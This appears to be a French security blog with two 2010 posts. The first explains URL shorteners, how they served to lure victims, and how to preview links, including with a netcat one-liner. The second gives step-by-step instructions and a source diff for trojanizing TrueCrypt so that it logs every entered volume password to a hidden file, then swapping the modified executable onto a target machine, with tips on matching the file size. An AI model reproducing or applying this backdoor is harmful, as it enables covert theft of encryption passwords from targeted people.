mercredi 25 août 2010

UVB-76 UVB-76 t i n y u r l 3 4 8 7 4 9 6 -- UVB-76 UVB-76 t i n y u r l 3 4 8 7 4 9 6

Les sites raccourcisseurs d'URL deviennent de plus en plus en courant. Un des plus connu d'entre eux est tinyurl. Le principe en est simple. Tinyurl enregistre une base de données entre une URL longue, comme par exemple http://www.domaine.com/repertoire/sous-repertoire/code.extension?var=veryveryverylongvalue&var2=value et une URL de taille fixe, courte, comme: http://tinyurl.com/(7 caractères). Un clic sur l'URL courte redirige vers l'URL longue.

Ces raccourcisseurs d'URL ont connu une popularité grandissante entre autre grâce à twitter qui limite le nombre de caractère.
tinyurl est intéressant du point de vue de la sécurité car il a participé à des attaques informatiques. Il y a eu l'attaque réussie contre apache http://tinyurl.com/2w667ej. Plus dernièrement un développeur d'openBSD s'est fait pister vie une tinyURL. Un développeur pensait pouvoir poster sous pseudo de manière anonyme, un développeur lui a donc envoyé un mail avec un lien tinyurl. Ce lien pointait chez le second développeur afin de logger l'IP de la personne cliquant dessus, l'histoire est indiqué ici: http://bit.ly/9SFh4K.

Dans les deux cas, le principe est le même: la personne visée clique en confiance sur le lien tinyurl, ce qui la mène à sa perte :-) Pour l'internaute avisé, il est toujours agaçant de devoir cliquer sur une URL raccourcie sans savoir ou l'on va tomber.

Comment faire donc pour "voir avant" ou l'on arrive? Quelques add-ons firefox existent, mais je ne les ai pas testé. Il existe des méthodes fonctionnant sous tous les navigateurs pour agrandir ces URL.

-TinyURL: le plus simple consiste a activer le cookie de non-redirection, cf http://tinyurl.com/preview.php. Tout clic sur un lien tinyurl présentera le lien de redirection complet. C'est extrêmement utile, à se demander pourquoi tout le monde ne le fait pas par défaut! Une autre méthode consiste à copier-coller le lien en ajoutant preview dans l'URL, par exemple: http://preview.tinyurl.com/2w667ej
-Bit.ly: apparemment, aucun mécanisme de preview n'existe comme avec tinyurl. Toutefois, il est possible d'ajouter un + à la fin de l'URL pour en voir les statistiques, ex: http://bit.ly/9SFh4K+, de ce fait, détourné, on peut voir ou envoie le lien.

-Pour les nombreux autres sites de preview, il existe la méthode netcat en one-liner:
kevin@slackware:~$ printf 'GET http://bit.ly/9SFh4K \
HTTP/1.1\r\nHost: bit.ly\r\n\r\n' | nc bit.ly 80
et faire de même pour les autres sites en adaptant l'URL, le Host et le domaine. Le rendu sera une code très explicite indiquant ou renvoie le code 301.

lundi 2 août 2010

Truecrypt will never be the same, ya dun goof'd!

En recherche pour un travail préparatoire, j'ai eu a étudier Truecrypt. Truecrypt est un logiciel de chiffrement solide, ayant l'avantage de proposer en standard un système de Plausible Deniability. De plus, il a eu les honneurs de la presse on-line puisqu'il a empêché le FBI d'accéder à des données.

A l'époque, je m'étais interrogé: pourquoi donc est-ce que le FBI n'a pas accédé une première fois à la machine concernée pour lui corrompre son programme TrueCrypt avant de saisir sa machine? A noter que le disque système n'était pas chiffré, seul un container ayant les documents confidentiels était protégé par Truecrypt.
Est-il si compliqué que de le modifier pour qu'il logue les mots de passe quelque part? Il s'agit en effet d'un programme open source. La réponse tient en 6 lignes de code.

Voici donc comment faire pour récupérer les mots de passe de Truecrypt.
1/ Récupérer les sources de Truecrypt
2/ Lire le source de Mount.c et ajouter 6 lignes pour que chaque mot de passe entré dans la bonne case aille s'enregistrer dans un fichier.
3/ Recompiler
4/ Changer le truecrypt.exe sur la machine visée par le truecrypt.exe recompilé
5/ Profit

Le diff du fichier Mount.c :
$ diff Mount*
3455a3456,3463
> /// HACK
> {
> FILE *file = fopen("c:\\windows\\temp\\hack.log", "a");
> fprintf(file, "Trying password for '%s' was \"%s\"", szFileName, VolumePassword.Text);
> fclose(file);
> }
> /// UnHACK
>
3463a3472,3481
>
> /// HACK
> {
> FILE *file = fopen("c:\\windows\\temp\\hack.log", "a");
> fprintf(file, " ... status %d [%s]\n", mounted, (mounted > 0) ? "OK" : "ko");
> fclose(file);
> }
> /// UnHACK
>
>
Et j'offre le fichier Truecrypt.zip (le .exe) modifié en téléchargement. [ Edit 01/09/2010: Fin du téléchargement. ] Les .sys sont identiques entre la version originale et cette version. L'exe modifié est de plus un peu plus petit que l'original :-) Il est donc de fait possible d'ajouter quelques octets pour qu'il fasse une taille équivalente à l'original.

[ Testé en mode Truecrypt portable sur un XP SP3 32bits, fonctionne avec les mots de passe, pas les fichiers de clés. Thx 2 MGE. ]